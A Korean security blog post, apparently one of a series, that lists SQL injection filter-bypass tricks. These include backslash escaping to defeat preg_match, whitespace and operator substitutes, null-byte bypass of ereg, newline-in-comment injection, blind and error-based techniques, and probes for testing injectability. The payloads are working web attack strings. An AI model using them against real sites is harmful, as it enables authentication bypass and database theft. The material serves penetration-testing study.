본문 바로가기
2. Information Security/1. Insight

6. Filtering 우회

by H232C 2020. 2. 11.

1.  Preg_match 우회
 - \ : \ 앞에 오는 문자의 경우 특수문자가 아닌 일반문자로 처리하게 됨
 - preg_match('/'/'); 여기서 ' 문자를 필터링 함
 - www.example.com?id=admin&pw=test 폼에서 인젝션 공격을 수행한다고 하면
 - www.example.com?id=\&pw=or+1=1# 이런식으로 공격하면 되는데
 - $_GET['id'] = \  /  $_GET['pw'] = or+1=1#
 - 쿼리를 살펴보면 아래와 같다
 - 정상쿼리 : select id from userdb where id='admin' and pw='test';
 - 공격쿼리 : select id from userdb where id='\' and pw=' or 1=1#'

2. 공백우회
 - /**/, %09, %0a, %0b, %0c, %0d, %a0, +, %20

3. =, like, and 우회
 - = : like, between, in, instr
 - != : <>
 - or : || (%7c%7c)
 - and : && (%26%26)

4. ascii 우회
 - ord, hex

5. 싱글쿼터
 - char, "

6. ereg, eregi 우회
 - %00 : 널바이트 감지 시 뒷문장 검사 안함

7. substr
 - right(left('abc',1'),1),id>0x313131313131
 - mid()

8. replace, replaceAll
 - 'admin' -> 'adadminmin'

9. numeric char filter
 - 0 : '!'='@'
 - 1 : '!'='!'

10. 주석
 - #,--, :  no=1; %00

11. 주석을 이용한 SQL Injection
 - '#'의 주석범위는 1Line -> 1Line은 %0a로 내릴수 있음
 - select test from test where id='abc' # %0a or 1=1 #

12. Blind Injction 시 sub query의 결과로 여러개 row 발생시
 - max(col), min(col), group_concat(col)

13. 테이블명, 컬럼명을 알아야 할때
 - select test from test where id='admin' and pw='test' procedure analyse();
 - limit 2,1 등과 함께사용해서 필요한 컬럼명을 한줄로 표현

14. Error based sql injection
 - 0xfffffffffffff*0xfffffffffffff 시 Integer 범위 초과로 에러 발생

15. MultiByte Character SQL Injection
 - 'test' 필드 캐릭터가 아스키코드가 아닌 멀티바이트 캐릭터(UTF-32 등)일때 다음과같은 방법으로 SQL Injection 수행
 - substr(hex(test),1,1)=0x41
 - MultiByte Character인지 알아보기 위한 방법으로는 '>'와 '<'를 이용하여 범위를 찾아나갈때 문자의 범위가 예를들어 20과 21사이로 나온다면(아스키 문자의 범위가 소숫점으로 나오는 경우는 없다) 멀티바이트 캐릭터라고 추측할 수 있다

 16. SQL Injection이 먹히는지 알아볼 때
  - '(싱글쿼터)를 썼을 때 에러가 나는지
  - ' and '1'='1    ,     ' and '1'='2  를 썼을 때 앞에건 정상적으로 출력되고 뒤에건 출력이 안나는지
  - ' or '1'='1 을 썼을 때 정상적으로 출력되는 지
  - 숫자로 이루어진 컬럼 (ex. idx=23001) 을 idx=23002-1 로 넣었을 때 정상적으로 출력 되는 지
  - '||' 를 썼을 때 정상적으로 출력되는 지 ( Restrict. DB가 Oracle이고 자료형이 Varchar로 선언되어 있을 때 )
  - 주석을 쓸때는 #(%23), -- (--%20), %0a

'2. Information Security > 1. Insight' 카테고리의 다른 글

8. 업로드 공격 우회  (0) 2020.02.13
7. Filtering 우회 2  (0) 2020.02.13
5. Filtering 우회  (0) 2020.02.05
4. SQL INJECTION CHEAT SHEET (SQL 인젝션 치트 시트)  (0) 2020.02.04
3. XSS  (0) 2020.01.13

댓글